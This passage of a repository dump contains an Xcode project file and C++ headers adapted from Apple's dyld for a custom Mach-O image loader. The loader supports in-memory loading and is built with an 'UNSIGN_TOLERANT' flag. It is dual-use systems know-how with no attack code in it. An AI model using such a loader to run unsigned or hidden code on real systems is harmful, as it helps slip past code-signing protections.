{isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ImageLoaderProxy.h; sourceTree = ""; }; 41 | CDEDEC492C702BD90041D7B8 /* Map.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = Map.h; sourceTree = ""; }; 42 | CDEDEC4A2C702BD90041D7B8 /* Tracing.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = Tracing.h; sourceTree = ""; }; 43 | CDEDEC4C2C702BD90041D7B8 /* custom_dlfcn.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = custom_dlfcn.h; sourceTree = ""; }; 44 | /* End PBXFileReference section */ 45 | 46 | /* Begin PBXFrameworksBuildPhase section */ 47 | CDEDEC2F2C702BB50041D7B8 /* Frameworks */ = { 48 | isa = PBXFrameworksBuildPhase; 49 | buildActionMask = 2147483647; 50 | files = ( 51 | ); 52 | runOnlyForDeploymentPostprocessing = 0; 53 | }; 54 | /* End PBXFrameworksBuildPhase section */ 55 | 56 | /* Begin PBXGroup section */ 57 | CDA541B22D10C52300E7990C /* build */ = { 58 | isa = PBXGroup; 59 | children = ( 60 | CDA541B02D10C52300E7990C /* libloader.a */, 61 | ); 62 | path = build; 63 | sourceTree = ""; 64 | }; 65 | CDEDEC282C702BB50041D7B8 = { 66 | isa = PBXGroup; 67 | children = ( 68 | CDA541B22D10C52300E7990C /* build */, 69 | CDEDEC4B2C702BD90041D7B8 /* src */, 70 | CDEDEC4D2C702BD90041D7B8 /* include */, 71 | CDEDEC322C702BB50041D7B8 /* Products */, 72 | ); 73 | sourceTree = ""; 74 | }; 75 | CDEDEC322C702BB50041D7B8 /* Products */ = { 76 | isa = PBXGroup; 77 | children = ( 78 | CDEDEC312C702BB50041D7B8 /* libloader.dylib */, 79 | ); 80 | name = Products; 81 | sourceTree = ""; 82 | }; 83 | CDEDEC4B2C702BD90041D7B8 /* src */ = { 84 | isa = PBXGroup; 85 | children = ( 86 | CDEDEC3F2C702BD90041D7B8 /* dyld_stubs.cpp */, 87 | CDEDEC402C702BD90041D7B8 /* dyld_stubs.h */, 88 | CDEDEC412C702BD90041D7B8 /* ImageLoader.cpp */, 89 | CDEDEC422C702BD90041D7B8 /* ImageLoader.h */, 90 | CDEDEC432C702BD90041D7B8 /* ImageLoaderMachO.cpp */, 91 | CDEDEC442C702BD90041D7B8 /* ImageLoaderMachO.h */, 92 | CDEDEC452C702BD90041D7B8 /* ImageLoaderMachOCompressed.cpp */, 93 | CDEDEC462C702BD90041D7B8 /* ImageLoaderMachOCompressed.h */, 94 | CDEDEC472C702BD90041D7B8 /* ImageLoaderProxy.cpp */, 95 | CDEDEC482C702BD90041D7B8 /* ImageLoaderProxy.h */, 96 | CDEDEC3E2C702BD90041D7B8 /* custom_dlfcn.cpp */, 97 | CDEDEC3D2C702BD90041D7B8 /* Array.h */, 98 | CDEDEC492C702BD90041D7B8 /* Map.h */, 99 | CDEDEC4A2C702BD90041D7B8 /* Tracing.h */, 100 | ); 101 | path = src; 102 | sourceTree = ""; 103 | }; 104 | CDEDEC4D2C702BD90041D7B8 /* include */ = { 105 | isa = PBXGroup; 106 | children = ( 107 | CDEDEC4C2C702BD90041D7B8 /* custom_dlfcn.h */, 108 | ); 109 | path = include; 110 | sourceTree = ""; 111 | }; 112 | /* End PBXGroup section */ 113 | 114 | /* Begin PBXHeadersBuildPhase section */ 115 | CDEDEC2D2C702BB50041D7B8 /* Headers */ = { 116 | isa = PBXHeadersBuildPhase; 117 | buildActionMask = 2147483647; 118 | files = ( 119 | CDA541762D10C17D00E7990C /* dyld_stubs.h in Headers */, 120 | CDA541772D10C17F00E7990C /* ImageLoader.h in Headers */, 121 | CDA541782D10C18100E7990C /* ImageLoaderMachO.h in Headers */, 122 | CDA541792D10C18400E7990C /* ImageLoaderMachOCompressed.h in Headers */, 123 | CDA5417A2D10C18600E7990C /* ImageLoaderProxy.h in Headers */, 124 | CDA5417B2D10C18900E7990C /* Array.h in Headers */, 125 | CDA5417C2D10C18B00E7990C /* Map.h in Headers */, 126 | CDA5417D2D10C19000E7990C /* Tracing.h in Headers */, 127 | ); 128 | runOnlyForDeploymentPostprocessing = 0; 129 | }; 130 | /* End PBXHeadersBuildPhase section */ 131 | 132 | /* Begin PBXNativeTarget section */ 133 | CDEDEC302C702BB50041D7B8 /* loader */ = { 134 | isa = PBXNativeTarget; 135 | buildConfigurationList = CDEDEC3A2C702BB50041D7B8 /* Build configuration list for PBXNativeTarget "loader" */; 136 | buildPhases = ( 137 | CDEDEC2D2C702BB50041D7B8 /* Headers */, 138 | CDEDEC2E2C702BB50041D7B8 /* Sources */, 139 | CDEDEC2F2C702BB50041D7B8 /* Frameworks */, 140 | ); 141 | buildRules = ( 142 | ); 143 | dependencies = ( 144 | ); 145 | name = loader; 146 | productName = macho; 147 | productReference = CDEDEC312C702BB50041D7B8 /* libloader.dylib */; 148 | productType = "com.apple.product-type.library.dynamic"; 149 | }; 150 | /* End PBXNativeTarget section */ 151 | 152 | /* Begin PBXProject section */ 153 | CDEDEC292C702BB50041D7B8 /* Project object */ = { 154 | isa = PBXProject; 155 | attributes = { 156 | BuildIndependentTargetsInParallel = 1; 157 | LastUpgradeCheck = 1540; 158 | TargetAttributes = { 159 | CDEDEC302C702BB50041D7B8 = { 160 | CreatedOnToolsVersion = 15.4; 161 | }; 162 | }; 163 | }; 164 | buildConfigurationList = CDEDEC2C2C702BB50041D7B8 /* Build configuration list for PBXProject "loader" */; 165 | compatibilityVersion = "Xcode 14.0"; 166 | developmentRegion = en; 167 | hasScannedForEncodings = 0; 168 | knownRegions = ( 169 | en, 170 | Base, 171 | ); 172 | mainGroup = CDEDEC282C702BB50041D7B8; 173 | productRefGroup = CDEDEC322C702BB50041D7B8 /* Products */; 174 | projectDirPath = ""; 175 | projectRoot = ""; 176 | targets = ( 177 | CDEDEC302C702BB50041D7B8 /* loader */, 178 | ); 179 | }; 180 | /* End PBXProject section */ 181 | 182 | /* Begin PBXSourcesBuildPhase section */ 183 | CDEDEC2E2C702BB50041D7B8 /* Sources */ = { 184 | isa = PBXSourcesBuildPhase; 185 | buildActionMask = 2147483647; 186 | files = ( 187 | CDA541702D10C10A00E7990C /* dyld_stubs.cpp in Sources */, 188 | CDA541712D10C10A00E7990C /* ImageLoader.cpp in Sources */, 189 | CDA541722D10C10A00E7990C /* ImageLoaderMachO.cpp in Sources */, 190 | CDA541732D10C10A00E7990C /* ImageLoaderMachOCompressed.cpp in Sources */, 191 | CDA541742D10C10A00E7990C /* ImageLoaderProxy.cpp in Sources */, 192 | CDA541752D10C10A00E7990C /* custom_dlfcn.cpp in Sources */, 193 | ); 194 | runOnlyForDeploymentPostprocessing = 0; 195 | }; 196 | /* End PBXSourcesBuildPhase section */ 197 | 198 | /* Begin XCBuildConfiguration section */ 199 | CDEDEC382C702BB50041D7B8 /* Debug */ = { 200 | isa = XCBuildConfiguration; 201 | buildSettings = { 202 | ALWAYS_SEARCH_USER_PATHS = NO; 203 | ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES; 204 | CLANG_ANALYZER_NONNULL = YES; 205 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 206 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; 207 | CLANG_ENABLE_MODULES = YES; 208 | CLANG_ENABLE_OBJC_ARC = YES; 209 | CLANG_ENABLE_OBJC_WEAK = YES; 210 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 211 | CLANG_WARN_BOOL_CONVERSION = YES; 212 | CLANG_WARN_COMMA = YES; 213 | CLANG_WARN_CONSTANT_CONVERSION = YES; 214 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 215 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 216 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 217 | CLANG_WARN_EMPTY_BODY = YES; 218 | CLANG_WARN_ENUM_CONVERSION = YES; 219 | CLANG_WARN_INFINITE_RECURSION = YES; 220 | CLANG_WARN_INT_CONVERSION = YES; 221 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 222 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 223 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 224 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 225 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; 226 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 227 | CLANG_WARN_STRICT_PROTOTYPES = YES; 228 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 229 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 230 | CLANG_WARN_UNREACHABLE_CODE = YES; 231 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 232 | COPY_PHASE_STRIP = NO; 233 | DEBUG_INFORMATION_FORMAT = dwarf; 234 | ENABLE_STRICT_OBJC_MSGSEND = YES; 235 | ENABLE_TESTABILITY = YES; 236 | ENABLE_USER_SCRIPT_SANDBOXING = YES; 237 | GCC_C_LANGUAGE_STANDARD = gnu17; 238 | GCC_DYNAMIC_NO_PIC = NO; 239 | GCC_NO_COMMON_BLOCKS = YES; 240 | GCC_OPTIMIZATION_LEVEL = 0; 241 | GCC_PREPROCESSOR_DEFINITIONS = ( 242 | "DEBUG=1", 243 | "$(inherited)", 244 | ); 245 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 246 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 247 | GCC_WARN_UNDECLARED_SELECTOR = YES; 248 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 249 | GCC_WARN_UNUSED_FUNCTION = YES; 250 | GCC_WARN_UNUSED_VARIABLE = YES; 251 | LOCALIZATION_PREFERS_STRING_CATALOGS = YES; 252 | MACOSX_DEPLOYMENT_TARGET = 14.5; 253 | MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; 254 | MTL_FAST_MATH = YES; 255 | ONLY_ACTIVE_ARCH = YES; 256 | SDKROOT = macosx; 257 | }; 258 | name = Debug; 259 | }; 260 | CDEDEC392C702BB50041D7B8 /* Release */ = { 261 | isa = XCBuildConfiguration; 262 | buildSettings = { 263 | ALWAYS_SEARCH_USER_PATHS = NO; 264 | ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES; 265 | CLANG_ANALYZER_NONNULL = YES; 266 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 267 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; 268 | CLANG_ENABLE_MODULES = YES; 269 | CLANG_ENABLE_OBJC_ARC = YES; 270 | CLANG_ENABLE_OBJC_WEAK = YES; 271 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 272 | CLANG_WARN_BOOL_CONVERSION = YES; 273 | CLANG_WARN_COMMA = YES; 274 | CLANG_WARN_CONSTANT_CONVERSION = YES; 275 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 276 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 277 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 278 | CLANG_WARN_EMPTY_BODY = YES; 279 | CLANG_WARN_ENUM_CONVERSION = YES; 280 | CLANG_WARN_INFINITE_RECURSION = YES; 281 | CLANG_WARN_INT_CONVERSION = YES; 282 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 283 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 284 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 285 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 286 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; 287 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 288 | CLANG_WARN_STRICT_PROTOTYPES = YES; 289 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 290 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 291 | CLANG_WARN_UNREACHABLE_CODE = YES; 292 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 293 | COPY_PHASE_STRIP = NO; 294 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 295 | ENABLE_NS_ASSERTIONS = NO; 296 | ENABLE_STRICT_OBJC_MSGSEND = YES; 297 | ENABLE_USER_SCRIPT_SANDBOXING = YES; 298 | GCC_C_LANGUAGE_STANDARD = gnu17; 299 | GCC_NO_COMMON_BLOCKS = YES; 300 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 301 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 302 | GCC_WARN_UNDECLARED_SELECTOR = YES; 303 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 304 | GCC_WARN_UNUSED_FUNCTION = YES; 305 | GCC_WARN_UNUSED_VARIABLE = YES; 306 | LOCALIZATION_PREFERS_STRING_CATALOGS = YES; 307 | MACOSX_DEPLOYMENT_TARGET = 14.5; 308 | MTL_ENABLE_DEBUG_INFO = NO; 309 | MTL_FAST_MATH = YES; 310 | SDKROOT = macosx; 311 | }; 312 | name = Release; 313 | }; 314 | CDEDEC3B2C702BB50041D7B8 /* Debug */ = { 315 | isa = XCBuildConfiguration; 316 | buildSettings = { 317 | CODE_SIGN_STYLE = Automatic; 318 | DYLIB_COMPATIBILITY_VERSION = 1; 319 | DYLIB_CURRENT_VERSION = 1; 320 | EXECUTABLE_PREFIX = lib; 321 | OTHER_CFLAGS = ""; 322 | "OTHER_CFLAGS[arch=*]" = UNSIGN_TOLERANT; 323 | PRODUCT_NAME = "$(TARGET_NAME)"; 324 | SKIP_INSTALL = YES; 325 | }; 326 | name = Debug; 327 | }; 328 | CDEDEC3C2C702BB50041D7B8 /* Release */ = { 329 | isa = XCBuildConfiguration; 330 | buildSettings = { 331 | CODE_SIGN_STYLE = Automatic; 332 | DYLIB_COMPATIBILITY_VERSION = 1; 333 | DYLIB_CURRENT_VERSION = 1; 334 | EXECUTABLE_PREFIX = lib; 335 | OTHER_CFLAGS = ""; 336 | "OTHER_CFLAGS[arch=*]" = "UNSIGN_TOLERANT=1"; 337 | PRODUCT_NAME = "$(TARGET_NAME)"; 338 | SKIP_INSTALL = YES; 339 | }; 340 | name = Release; 341 | }; 342 | /* End XCBuildConfiguration section */ 343 | 344 | /* Begin XCConfigurationList section */ 345 | CDEDEC2C2C702BB50041D7B8 /* Build configuration list for PBXProject "loader" */ = { 346 | isa = XCConfigurationList; 347 | buildConfigurations = ( 348 | CDEDEC382C702BB50041D7B8 /* Debug */, 349 | CDEDEC392C702BB50041D7B8 /* Release */, 350 | ); 351 | defaultConfigurationIsVisible = 0; 352 | defaultConfigurationName = Release; 353 | }; 354 | CDEDEC3A2C702BB50041D7B8 /* Build configuration list for PBXNativeTarget "loader" */ = { 355 | isa = XCConfigurationList; 356 | buildConfigurations = ( 357 | CDEDEC3B2C702BB50041D7B8 /* Debug */, 358 | CDEDEC3C2C702BB50041D7B8 /* Release */, 359 | ); 360 | defaultConfigurationIsVisible = 0; 361 | defaultConfigurationName = Release; 362 | }; 363 | /* End XCConfigurationList section */ 364 | }; 365 | rootObject = CDEDEC292C702BB50041D7B8 /* Project object */; 366 | } 367 | -------------------------------------------------------------------------------- /loader/loader.xcodeproj/project.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /loader/src/Array.h: -------------------------------------------------------------------------------- 1 | /* -*- mode: C++; c-basic-offset: 4; tab-width: 4 -*- 2 | * 3 | * Copyright (c) 2021 Apple Inc. All rights reserved. 4 | * 5 | * @APPLE_LICENSE_HEADER_START@ 6 | * 7 | * This file contains Original Code and/or Modifications of Original Code 8 | * as defined in and that are subject to the Apple Public Source License 9 | * Version 2.0 (the 'License'). You may not use this file except in 10 | * compliance with the License. Please obtain a copy of the License at 11 | * http://www.opensource.apple.com/apsl/ and read it before using this 12 | * file. 13 | * 14 | * The Original Code and all software distributed under the License are 15 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 16 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 17 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 19 | * Please see the License for the specific language governing rights and 20 | * limitations under the License. 21 | * 22 | * @APPLE_LICENSE_HEADER_END@ 23 | */ 24 | 25 | /* 26 | * This file contains Array alias to std::vector 27 | */ 28 | 29 | #ifndef __ARRAY__ 30 | #define __ARRAY__ 31 | 32 | #include 33 | 34 | namespace isolator { 35 | namespace dyld3 { 36 | 37 | template 38 | class Array : public std::vector { 39 | public: 40 | uintptr_t count() const { return this->size(); } 41 | 42 | bool contains(const T& targ) const { 43 | auto found = std::find(this->begin(), this->end(), targ); 44 | return found != this->end(); 45 | } 46 | }; 47 | 48 | template 49 | using OverflowSafeArray = Array; 50 | 51 | #define STACK_ALLOC_ARRAY(_type, _name, _count) \ 52 | dyld3::Array<_type> _name; \ 53 | _name.reserve(_count); 54 | 55 | } 56 | } 57 | 58 | #endif // __ARRAY__ 59 | -------------------------------------------------------------------------------- /loader/src/ImageLoaderMachO.h: -------------------------------------------------------------------------------- 1 | /* -*- mode: C++; c-basic-offset: 4; tab-width: 4 -*- 2 | * 3 | * Copyright (c) 2004-2009 Apple Inc. All rights reserved. 4 | * 5 | * @APPLE_LICENSE_HEADER_START@ 6 | * 7 | * This file contains Original Code and/or Modifications of Original Code 8 | * as defined in and that are subject to the Apple Public Source License 9 | * Version 2.0 (the 'License'). You may not use this file except in 10 | * compliance with the License. Please obtain a copy of the License at 11 | * http://www.opensource.apple.com/apsl/ and read it before using this 12 | * file. 13 | * 14 | * The Original Code and all software distributed under the License are 15 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 16 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 17 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 19 | * Please see the License for the specific language governing rights and 20 | * limitations under the License. 21 | * 22 | * @APPLE_LICENSE_HEADER_END@ 23 | */ 24 | 25 | 26 | #ifndef __IMAGELOADERMACHO__ 27 | #define __IMAGELOADERMACHO__ 28 | 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | 35 | #if __has_feature(ptrauth_calls) 36 | #include 37 | #endif 38 | 39 | #include "ImageLoader.h" 40 | 41 | #define BIND_TYPE_THREADED_BIND 100 42 | 43 | 44 | #define BIND_TYPE_THREADED_REBASE 102 45 | 46 | namespace isolator { 47 | 48 | // 49 | // ImageLoaderMachO is a subclass of ImageLoader which loads mach-o format files. 50 | // 51 | // 52 | class ImageLoaderMachO : public ImageLoader { 53 | public: 54 | static ImageLoader* instantiateMainExecutable(const macho_header* mh, uintptr_t slide, const char* path, const LinkContext& context); 55 | static ImageLoader* instantiateFromFile(const char* path, int fd, const uint8_t firstPages[], size_t firstPagesSize, uint64_t offsetInFat, 56 | uint64_t lenInFat, const struct stat& info, const LinkContext& context); 57 | static ImageLoader* instantiateFromCache(const macho_header* mh, const char* path, long slide, const struct stat& info, const LinkContext& context); 58 | static ImageLoader* instantiateFromMemory(const char* moduleName, const macho_header* mh, uint64_t len, const LinkContext& context); 59 | 60 | 61 | bool inSharedCache() const { return fInSharedCache; } 62 | void disableCoverageCheck() { fCoveredCodeLength = UINT64_MAX; } 63 | 64 | const char* getInstallPath() const; 65 | virtual void* getEntryFromLC_UNIXTHREAD() const; 66 | virtual void* getEntryFromLC_MAIN() const; 67 | virtual const struct mach_header* machHeader() const; 68 | virtual uintptr_t getSlide() const; 69 | virtual const void* getEnd() const; 70 | virtual bool hasCoalescedExports() const; 71 | virtual const Symbol* findExportedSymbol(const char* name, bool searchReExports, const char* thisPath, const ImageLoader** foundIn) const; 72 | virtual uintptr_t getExportedSymbolAddress(const Symbol* sym, const LinkContext& context, 73 | const ImageLoader* requestor, bool runResolver, const char*) const; 74 | virtual DefinitionFlags getExportedSymbolInfo(const Symbol* sym) const; 75 | virtual const char* getExportedSymbolName(const Symbol* sym) const; 76 | virtual uint32_t getExportedSymbolCount() const; 77 | virtual const Symbol* getIndexedExportedSymbol(uint32_t index) const; 78 | virtual uint32_t getImportedSymbolCount() const; 79 | virtual const Symbol* getIndexedImportedSymbol(uint32_t index) const; 80 | virtual ReferenceFlags getImportedSymbolInfo(const Symbol* sym) const; 81 | virtual const char* getImportedSymbolName(const Symbol* sym) const; 82 | virtual bool isBundle() const; 83 | virtual bool isDylib() const; 84 | virtual bool isExecutable() const; 85 | virtual bool isPositionIndependentExecutable() const; 86 | virtual bool forceFlat() const; 87 | virtual bool participatesInCoalescing() const; 88 | virtual const char* findClosestSymbol(const void* addr, const void** closestAddr) const = 0; 89 | virtual void initializeCoalIterator(CoalIterator&, unsigned int loadOrder, unsigned) = 0; 90 | virtual bool incrementCoalIterator(CoalIterator&) = 0; 91 | virtual uintptr_t getAddressCoalIterator(CoalIterator&, const LinkContext& contex) = 0; 92 | virtual void updateUsesCoalIterator(CoalIterator&, uintptr_t newAddr, ImageLoader* target, unsigned targetIndex, const LinkContext& context) = 0; 93 | virtual uintptr_t doBindLazySymbol(uintptr_t* lazyPointer, const LinkContext& context) = 0; 94 | virtual uintptr_t doBindFastLazySymbol(uint32_t lazyBindingInfoOffset, const LinkContext& context, void (*lock)(), void (*unlock)()) = 0; 95 | virtual void doTermination(const LinkContext& context); 96 | virtual bool needsInitialization(); 97 | virtual bool getSectionContent(const char* segmentName, const char* sectionName, void** start, size_t* length); 98 | #if !UNSIGN_TOLERANT 99 | virtual void getUnwindInfo(dyld_unwind_sections* info); 100 | #endif 101 | virtual const struct macho_section* findSection(const void* imageInterior) const; 102 | virtual bool findSection(const void* imageInterior, const char** segmentName, const char** sectionName, size_t* sectionOffset); 103 | virtual bool usablePrebinding(const LinkContext& context) const; 104 | virtual unsigned int segmentCount() const; 105 | virtual const char* segName(unsigned int) const; 106 | virtual uintptr_t segSize(unsigned int) const; 107 | virtual uintptr_t segFileSize(unsigned int) const; 108 | virtual bool segHasTrailingZeroFill(unsigned int); 109 | virtual uintptr_t segFileOffset(unsigned int) const; 110 | virtual bool segReadable(unsigned int) const; 111 | virtual bool segWriteable(unsigned int) const; 112 | virtual bool segExecutable(unsigned int) const; 113 | virtual bool segUnaccessible(unsigned int) const; 114 | virtual bool segHasPreferredLoadAddress(unsigned int) const; 115 | virtual uintptr_t segActualLoadAddress(unsigned int) const; 116 | virtual uintptr_t segPreferredLoadAddress(unsigned int) const; 117 | virtual uintptr_t segActualEndAddress(unsigned int) const; 118 | virtual void registerInterposing(const LinkContext& context); 119 | virtual uint32_t sdkVersion() const; 120 | virtual uint32_t minOSVersion() const; 121 | virtual const char* libPath(unsigned int) const; 122 | virtual bool notifyObjC() const { return fNotifyObjC; } 123 | virtual bool overridesCachedDylib(uint32_t& num) const { num = fOverrideOfCacheImageNum; return (num != 0); } 124 | virtual void setOverridesCachedDylib(uint32_t num) { fOverrideOfCacheImageNum = num; } 125 | 126 | 127 | static void printStatisticsDetails(unsigned int imageCount, const InitializerTimingList&); 128 | static uint32_t minOSVersion(const mach_header*); 129 | static uint32_t sdkVersion(const mach_header* mh); 130 | static intptr_t computeSlide(const mach_header* mh); 131 | static bool findSection(const mach_header* mh, const char* segmentName, const char* sectionName, void** sectAddress, uintptr_t* sectSize); 132 | static const dyld_info_command* findDyldInfoLoadCommand(const mach_header* mh); 133 | static const char* findClosestSymbol(const mach_header* mh, const void* addr, const void** closestAddr); 134 | static bool getLazyBindingInfo(uint32_t& lazyBindingInfoOffset, const uint8_t* lazyInfoStart, const uint8_t* lazyInfoEnd, 135 | uint8_t* segIndex, uintptr_t* segOffset, int* ordinal, const char** symbolName, bool* doneAfterBind); 136 | static uintptr_t segPreferredAddress(const mach_header* mh, unsigned segIndex); 137 | 138 | uintptr_t imageBaseAddress() const; 139 | 140 | struct ExtraBindData { 141 | ExtraBindData() = default; 142 | explicit ExtraBindData(uint64_t d) : data(d) { } 143 | 144 | union { 145 | uint64_t data = 0; 146 | }; 147 | bool operator==(const ExtraBindData& other) const { 148 | return this->data == other.data; 149 | } 150 | bool operator!=(const ExtraBindData& other) const { 151 | return !(*this == other); 152 | } 153 | bool operator<(const ExtraBindData& other) const { 154 | return data < other.data; 155 | } 156 | 157 | }; 158 | 159 | static uintptr_t bindLocation(const LinkContext& context, uintptr_t baseVMAddress, 160 | uintptr_t location, uintptr_t value, 161 | uint8_t type, const char* symbolName, 162 | intptr_t addend, const char* inPath, const char* toPath, const char* msg, 163 | ExtraBindData *extraBindData, 164 | uintptr_t fSlide); 165 | virtual void rebase(const LinkContext& context, uintptr_t slide) = 0; 166 | 167 | 168 | 169 | protected: 170 | ImageLoaderMachO(const ImageLoaderMachO&); 171 | ImageLoaderMachO(const macho_header* mh, const char* path, unsigned int segCount, 172 | uint32_t segOffsets[], unsigned int libCount); 173 | virtual ~ImageLoaderMachO() {} 174 | 175 | void operator=(const ImageLoaderMachO&); 176 | 177 | virtual void setDyldInfo(const struct dyld_info_command*) = 0; 178 | virtual void setChainedFixups(const linkedit_data_command*) = 0; 179 | virtual void setExportsTrie(const linkedit_data_command*) = 0; 180 | virtual void setSymbolTableInfo(const macho_nlist*, const char*, const dysymtab_command*) = 0; 181 | virtual bool isSubframeworkOf(const LinkContext& context, const ImageLoader* image) const = 0; 182 | virtual bool hasSubLibrary(const LinkContext& context, const ImageLoader* child) const = 0; 183 | virtual uint32_t* segmentCommandOffsets() const = 0; 184 | virtual const ImageLoader::Symbol* findShallowExportedSymbol(const char* name, const ImageLoader** foundIn) const = 0; 185 | virtual bool containsSymbol(const void* addr) const = 0; 186 | virtual uintptr_t exportedSymbolAddress(const LinkContext& context, const Symbol* symbol, const ImageLoader* requestor, bool runResolver) const = 0; 187 | virtual bool exportedSymbolIsWeakDefintion(const Symbol* symbol) const = 0; 188 | virtual const char* exportedSymbolName(const Symbol* symbol) const = 0; 189 | virtual unsigned int exportedSymbolCount() const = 0; 190 | virtual const ImageLoader::Symbol* exportedSymbolIndexed(unsigned int) const = 0; 191 | virtual unsigned int importedSymbolCount() const = 0; 192 | virtual const ImageLoader::Symbol* importedSymbolIndexed(unsigned int) const = 0; 193 | virtual const char* importedSymbolName(const Symbol* symbol) const = 0; 194 | #if PREBOUND_IMAGE_SUPPORT 195 | virtual void resetPreboundLazyPointers(const LinkContext& context) = 0; 196 | #endif 197 | 198 | 199 | virtual void doGetDependentLibraries(DependentLibraryInfo libs[]); 200 | virtual LibraryInfo doGetLibraryInfo(const LibraryInfo& requestorInfo); 201 | virtual void getRPaths(const LinkContext& context, std::vector&) const; 202 | virtual bool getUUID(uuid_t) const; 203 | virtual void doRebase(const LinkContext& context); 204 | virtual void doBind(const LinkContext& context, bool forceLazysBound, const ImageLoader* reExportParent) = 0; 205 | virtual void doBindJustLazies(const LinkContext& context) = 0; 206 | virtual bool doInitialization(const LinkContext& context); 207 | virtual void doGetDOFSections(const LinkContext& context, std::vector& dofs); 208 | virtual bool needsTermination(); 209 | virtual bool segmentsMustSlideTogether() const; 210 | virtual bool segmentsCanSlide() const; 211 | virtual void setSlide(intptr_t slide); 212 | virtual bool usesTwoLevelNameSpace() const; 213 | virtual bool isPrebindable() const; 214 | 215 | protected: 216 | 217 | void destroy(); 218 | static void sniffLoadCommands(const macho_header* mh, const char* path, bool inCache, bool* compressed, 219 | unsigned int* segCount, unsigned int* libCount, const LinkContext& context, 220 | const linkedit_data_command** codeSigCmd, 221 | const encryption_info_command** encryptCmd); 222 | static bool needsAddedLibSystemDepency(unsigned int libCount, const macho_header* mh); 223 | void loadCodeSignature(const struct linkedit_data_command* codeSigCmd, int fd, uint64_t offsetInFatFile, const LinkContext& context); 224 | void validateFirstPages(const struct linkedit_data_command* codeSigCmd, int fd, const uint8_t *fileData, size_t lenFileData, off_t offsetInFat, const LinkContext& context); 225 | const struct macho_segment_command* segLoadCommand(unsigned int segIndex) const; 226 | void parseLoadCmds(const ImageLoader::LinkContext& context); 227 | int crashIfInvalidCodeSignature(); 228 | bool segHasRebaseFixUps(unsigned int) const; 229 | bool segHasBindFixUps(unsigned int) const; 230 | void segProtect(unsigned int segIndex, const ImageLoader::LinkContext& context); 231 | void segMakeWritable(unsigned int segIndex, const ImageLoader::LinkContext& context); 232 | #if __i386__ 233 | bool segIsReadOnlyImport(unsigned int) const; 234 | #endif 235 | bool segIsReadOnlyData(unsigned int) const; 236 | intptr_t assignSegmentAddresses(const LinkContext& context, size_t extraAllocationSize); 237 | uintptr_t reserveAnAddressRange(size_t length, const ImageLoader::LinkContext& context); 238 | bool reserveAddressRange(uintptr_t start, size_t length); 239 | void mapSegments(int fd, uint64_t offsetInFat, uint64_t lenInFat, uint64_t fileLen, const LinkContext& context); 240 | void mapSegments(const void* memoryImage, uint64_t imageLen, const LinkContext& context); 241 | void UnmapSegments(); 242 | void __attribute__((noreturn)) throwSymbolNotFound(const LinkContext& context, const char* symbol, 243 | const char* referencedFrom, const char* fromVersMismatch, 244 | const char* expectedIn); 245 | void 